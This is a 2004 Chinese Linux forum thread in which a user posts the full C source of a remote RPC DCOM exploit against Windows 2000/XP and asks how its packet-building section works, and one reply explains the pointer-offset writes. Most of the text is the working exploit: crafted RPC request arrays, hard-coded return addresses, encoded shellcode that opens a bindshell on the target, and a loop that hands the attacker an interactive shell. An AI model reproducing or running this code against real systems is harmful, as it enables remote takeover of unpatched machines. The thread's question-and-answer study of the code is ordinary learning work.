LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 790|回复: 3

谁来分析下这段代码

[复制链接]
发表于 2004-1-9 13:00:37 | 显示全部楼层 |阅读模式

  1. /* Windows 2003 <= remote RPC DCOM exploit
  2. * Coded by .:[oc192.us]:. Security
  3. *
  4. * Features:
  5. *
  6. * -d destination host to attack.
  7. *
  8. * -p for port selection as exploit works on ports other than 135(139,445,539 etc)
  9. *
  10. * -r for using a custom return address.
  11. *
  12. * -t to select target type (Offset) , this includes universal offsets for -
  13. * win2k and winXP (Regardless of service pack)
  14. *
  15. * -l to select bindshell port on remote machine (Default: 666)
  16. *
  17. * - Shellcode has been modified to call ExitThread, rather than ExitProcess, thus
  18. * preventing crash of RPC service on remote machine.
  19. *
  20. * This is provided as proof-of-concept code only for educational
  21. * purposes and testing by authorized individuals with permission to
  22. * do so.
  23. */

  24. #include <stdio.h>
  25. #include <stdlib.h>
  26. #include <sys/types.h>
  27. #include <sys/socket.h>
  28. #include <netinet/in.h>
  29. #include <arpa/inet.h>
  30. #include <unistd.h>
  31. #include <netdb.h>
  32. #include <fcntl.h>
  33. #include <unistd.h>

  34. /* xfocus start */
  35. unsigned char bindstr[]={
  36. 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
  37. 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
  38. 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
  39. 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
  40. 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

  41. unsigned char request1[]={
  42. 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
  43. ,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
  44. ,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
  45. ,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
  46. ,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
  47. ,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
  48. ,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
  49. ,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
  50. ,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
  51. ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
  52. ,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
  53. ,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
  54. ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
  55. ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
  56. ,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  57. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
  58. ,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
  59. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
  60. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
  61. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
  62. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
  63. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
  64. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
  65. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
  66. ,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
  67. ,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
  68. ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
  69. ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  70. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  71. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  72. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  73. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
  74. ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
  75. ,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
  76. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
  77. ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
  78. ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
  79. ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
  80. ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  81. ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
  82. ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
  83. ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
  84. ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
  85. ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
  86. ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
  87. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  88. ,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
  89. ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
  90. ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  91. ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
  92. ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
  93. ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  94. ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
  95. ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
  96. ,0x00,0x00,0x00,0x00,0x00,0x00};

  97. unsigned char request2[]={
  98. 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
  99. ,0x00,0x00,0x5C,0x00,0x5C,0x00};

  100. unsigned char request3[]={
  101. 0x5C,0x00
  102. ,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
  103. ,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
  104. ,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
  105. ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
  106. /* end xfocus */

  107. int type=0;
  108. struct
  109. {
  110. char *os;
  111. u_long ret;
  112. }
  113. targets[] =
  114. {
  115. { "[Win2k-Universal]", 0x0018759F },
  116. { "[WinXP-Universal]", 0x0100139d },
  117. }, v;


  118. void usage(char *prog)
  119. {
  120. int i;
  121. printf("RPC DCOM exploit coded by .:[oc192.us]:. Security\n");
  122. printf("Usage:\n\n");
  123. printf("%s -d <host> [options]\n", prog);
  124. printf("Options:\n");
  125. printf(" -d: Hostname to attack [Required]\n");
  126. printf(" -t: Type [Default: 0]\n");
  127. printf(" -r: Return address [Default: Selected from target]\n");
  128. printf(" -p: Attack port [Default: 135]\n");
  129. printf(" -l: Bindshell port [Default: 666]\n\n");
  130. printf("Types:\n");
  131. for(i = 0; i < sizeof(targets)/sizeof(v); i++)
  132. printf(" %d [0x%.8x]: %s\n", i, targets[i].ret, targets[i].os);
  133. exit(0);
  134. }

  135. unsigned char sc[]=
  136. "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
  137. "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
  138. "\x46\x00\x58\x00\x46\x00\x58\x00"

  139. "\xff\xff\xff\xff" /* return address */

  140. "\xcc\xe0\xfd\x7f" /* primary thread data block */
  141. "\xcc\xe0\xfd\x7f" /* primary thread data block */

  142. /* bindshell no RPC crash, defineable spawn port */
  143. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  144. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  145. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  146. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  147. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  148. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  149. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  150. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  151. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  152. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  153. "\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
  154. "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
  155. "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
  156. "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
  157. "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
  158. "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
  159. "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
  160. "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\xdd\x5a\x60\xdf\xda\x8a\x81"
  161. "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
  162. "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
  163. "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
  164. "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
  165. "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
  166. "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
  167. "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
  168. "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
  169. "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
  170. "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
  171. "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
  172. "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
  173. "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
  174. "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
  175. "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
  176. "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
  177. "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
  178. "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
  179. "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
  180. "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
  181. "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
  182. "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
  183. "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
  184. "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";

  185. /* xfocus start */
  186. unsigned char request4[]={
  187. 0x01,0x10
  188. ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
  189. ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
  190. ,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  191. };
  192. /* end xfocus */

  193. /* Not ripped from teso =) */
  194. void con(int sockfd)
  195. {
  196. char rb[1500];
  197. fd_set fdreadme;
  198. int i;

  199. FD_ZERO(&fdreadme);
  200. FD_SET(sockfd, &fdreadme);
  201. FD_SET(0, &fdreadme);

  202. while(1)
  203. {
  204. FD_SET(sockfd, &fdreadme);
  205. FD_SET(0, &fdreadme);
  206. if(select(FD_SETSIZE, &fdreadme, NULL, NULL, NULL) < 0 ) break;
  207. if(FD_ISSET(sockfd, &fdreadme))
  208. {
  209. if((i = recv(sockfd, rb, sizeof(rb), 0)) < 0)
  210. {
  211. printf("[-] Connection lost..\n");
  212. exit(1);
  213. }
  214. if(write(1, rb, i) < 0) break;
  215. }

  216. if(FD_ISSET(0, &fdreadme))
  217. {
  218. if((i = read(0, rb, sizeof(rb))) < 0)
  219. {
  220. printf("[-] Connection lost..\n");
  221. exit(1);
  222. }
  223. if (send(sockfd, rb, i, 0) < 0) break;
  224. }
  225. usleep(10000);
  226. }

  227. printf("[-] Connection closed by foreign host..\n");

  228. exit(0);
  229. }

  230. int main(int argc, char **argv)
  231. {
  232. int len, len1, sockfd, c, a;
  233. unsigned long ret;
  234. unsigned short port = 135;
  235. unsigned char buf1[0x1000];
  236. unsigned char buf2[0x1000];
  237. unsigned short lportl=666; /* drg */
  238. char lport[4] = "\x00\xFF\xFF\x8b"; /* drg */
  239. struct hostent *he;
  240. struct sockaddr_in their_addr;
  241. static char *hostname=NULL;

  242. if(argc<2)
  243. {
  244. usage(argv[0]);
  245. }

  246. while((c = getopt(argc, argv, "d:t:r:p:l:"))!= EOF)
  247. {
  248. switch (c)
  249. {
  250. case 'd':
  251. hostname = optarg;
  252. break;
  253. case 't':
  254. type = atoi(optarg);
  255. if((type > 1) || (type < 0))
  256. {
  257. printf("[-] Select a valid target:\n");
  258. for(a = 0; a < sizeof(targets)/sizeof(v); a++)
  259. printf(" %d [0x%.8x]: %s\n", a, targets[a].ret, targets[a].os);
  260. return 1;
  261. }
  262. break;
  263. case 'r':
  264. targets[type].ret = strtoul(optarg, NULL, 16);
  265. break;
  266. case 'p':
  267. port = atoi(optarg);
  268. if((port > 65535) || (port < 1))
  269. {
  270. printf("[-] Select a port between 1-65535\n");
  271. return 1;
  272. }
  273. break;
  274. case 'l':
  275. lportl = atoi(optarg);
  276. if((port > 65535) || (port < 1))
  277. {
  278. printf("[-] Select a port between 1-65535\n");
  279. return 1;
  280. }
  281. break;
  282. default:
  283. usage(argv[0]);
  284. return 1;
  285. }
  286. }

  287. if(hostname==NULL)
  288. {
  289. printf("[-] Please enter a hostname with -d\n");
  290. exit(1);
  291. }

  292. printf("RPC DCOM remote exploit - .:[oc192.us]:. Security\n");
  293. printf("[+] Resolving host..\n");

  294. if((he = gethostbyname(hostname)) == NULL)
  295. {
  296. printf("[-] gethostbyname: Couldnt resolve hostname\n");
  297. exit(1);
  298. }

  299. printf("[+] Done.\n");

  300. printf("-- Target: %s:%s:%i, Bindshell:%i, RET=[0x%.8x]\n",
  301. targets[type].os, hostname, port, lportl, targets[type].ret);

  302. /* drg */
  303. lportl=htons(lportl);
  304. memcpy(&lport[1], &lportl, 2);
  305. *(long*)lport = *(long*)lport ^ 0x9432BF80;
  306. memcpy(&sc[471],&lport,4);

  307. memcpy(sc+36, (unsigned char *) &targets[type].ret, 4);

  308. their_addr.sin_family = AF_INET;
  309. their_addr.sin_addr = *((struct in_addr *)he->h_addr);
  310. their_addr.sin_port = htons(port);

  311. if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1)
  312. {
  313. perror("[-] Socket failed");
  314. return(0);
  315. }

  316. if(connect(sockfd,(struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
  317. {
  318. perror("[-] Connect failed");
  319. return(0);
  320. }

  321. /* xfocus start */
  322. len=sizeof(sc);
  323. memcpy(buf2,request1,sizeof(request1));
  324. len1=sizeof(request1);

  325. *(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;
  326. *(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;

  327. memcpy(buf2+len1,request2,sizeof(request2));
  328. len1=len1+sizeof(request2);
  329. memcpy(buf2+len1,sc,sizeof(sc));
  330. len1=len1+sizeof(sc);
  331. memcpy(buf2+len1,request3,sizeof(request3));
  332. len1=len1+sizeof(request3);
  333. memcpy(buf2+len1,request4,sizeof(request4));
  334. len1=len1+sizeof(request4);

  335. *(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;


  336. *(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;
  337. *(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
  338. *(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
  339. *(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
  340. *(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
  341. *(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
  342. *(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;
  343. /* end xfocus */


  344. if (send(sockfd,bindstr,sizeof(bindstr),0)== -1)
  345. {
  346. perror("[-] Send failed");
  347. return(0);
  348. }
  349. len=recv(sockfd, buf1, 1000, 0);

  350. if (send(sockfd,buf2,len1,0)== -1)
  351. {
  352. perror("[-] Send failed");
  353. return(0);
  354. }
  355. close(sockfd);
  356. sleep(1);

  357. their_addr.sin_family = AF_INET;
  358. their_addr.sin_addr = *((struct in_addr *)he->h_addr);
  359. their_addr.sin_port = lportl;

  360. if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1)
  361. {
  362. perror("[-] Socket failed");
  363. return(0);
  364. }

  365. if(connect(sockfd,(struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
  366. {
  367. printf("[-] Couldnt connect to bindshell, possible reasons:\n");
  368. printf(" 1: Host is firewalled\n");
  369. printf(" 2: Exploit failed\n");
  370. return(0);
  371. }

  372. printf("[+] Connected to bindshell..\n\n");

  373. sleep(2);

  374. printf("-- bling bling --\n\n");

  375. con(sockfd);

  376. return(0);
  377. }
复制代码
 楼主| 发表于 2004-1-9 13:01:52 | 显示全部楼层
我想知道
/* xfocus start */
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);

*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;
*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;

memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);

*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;


*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;
/* end xfocus */

这段到底啥意思。。。。发送的缓冲是几段合并起来的,但是比如
*(unsigned long *)(buf2+0x18c)=。。。。
这又是什么意思?
发表于 2004-1-10 16:01:39 | 显示全部楼层

没时间仔细看

二楼的这段代码象是打包数据,将数据转移到buf2指向的 区间,至于一楼这段代码是干什么的,关键看你是 什么数据,感觉是段搞坏的 代码。

这句 *(unsigned long *)(buf2+0x18c)=。。。。是修改指针偏移量并填入数据,不修改buf2的值,只修改偏移量,其实二楼的代码buf2的值就没更改过
 楼主| 发表于 2004-1-12 13:01:52 | 显示全部楼层

回复: 没时间仔细看

最初由 poleman 发表
二楼的这段代码象是打包数据,将数据转移到buf2指向的 区间,至于一楼这段代码是干什么的,关键看你是 什么数据,感觉是段搞坏的 代码。

这句 *(unsigned long *)(buf2+0x18c)=。。。。是修改指针偏移量并填入数据,不修改buf2的值,只修改偏移量,其实二楼的代码buf2的值就没更改过

哦,原来是修改buf2的内容。是rpc攻击程序
我就是对他的的数据包构造没明白。谢谢
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表